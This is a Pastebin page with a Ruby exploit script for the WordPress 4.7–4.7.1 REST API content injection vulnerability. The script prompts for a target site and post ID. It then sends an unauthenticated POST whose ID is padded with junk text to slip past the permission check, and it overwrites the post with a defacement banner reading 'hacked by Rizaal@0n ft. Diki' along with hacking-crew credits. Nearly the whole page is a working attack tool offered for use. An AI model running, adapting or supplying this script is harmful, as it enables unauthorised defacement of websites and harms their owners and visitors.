Advertisement
choirurrizal

WordPress 470/471 Content Injection Exploit

May 19th, 2017
617
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.40 KB | None | 0 0
  1. # Exploit Title: WP Content Injection
  2. # Date: 31 Jan' 2017
  3. # Exploit Author: Harsh Jaiswal
  4. # Vendor Homepage: http://wordpress.org
  5. # Version: Wordpress 4.7 - 4.7.1 (Patched in 4.7.2)
  6. # Tested on: Backbox ubuntu Linux
  7. # Based on https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
  8. # Credits : Marc, Sucuri, Brute
  9. # usage : gem install rest-client
  10. # Lang : Ruby
  11.  
  12.  
  13. require 'rest-client'
  14. require 'json'
  15. puts "Enter Target URI (With wp directory)"
  16. targeturi = gets.chomp
  17. puts "Enter Post ID"
  18. postid = gets.chomp.to_i
  19. response = RestClient.post(
  20.   "#{targeturi}/wp-json/wp/v2/posts/#{postid}",
  21.   {
  22.  
  23.     "id" => "#{postid}justrawdata",
  24.     "title" => "hacked by Rizaal@0n ft. Diki",
  25.     "content" => "<font size='6' face='impact'>hacked by Rizaal@0n & Diki - Indonesian People<br><img src='http://4.bp.blogspot.com/-WYmz8_dG58E/VIxWSAVJCII/AAAAAAAAAIQ/Wek-pSKM2Rk/s1600/lulzsec-facebook-timeline-cover.jpg'  \/><\/div><br><div style='text-align: center'><font size='4'>Thanks To :<br>N45HT - Indonesian Freedom Security - IndoXploit Coders Team - Gantengers Crew - Jones Unlimited Edition Team</font></font><br><font size='4'>n45ht.web.id</font>"
  26.  
  27.  
  28.   }.to_json,
  29.   :content_type => :json,
  30.   :accept => :json
  31. ) {|response, request, result| response }
  32. if(response.code == 200)
  33.  
  34. puts "Done! '#{targeturi}/index.php?p=#{postid}'"
  35.  
  36.  
  37. else
  38. puts "This site is not Vulnerable"
  39. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement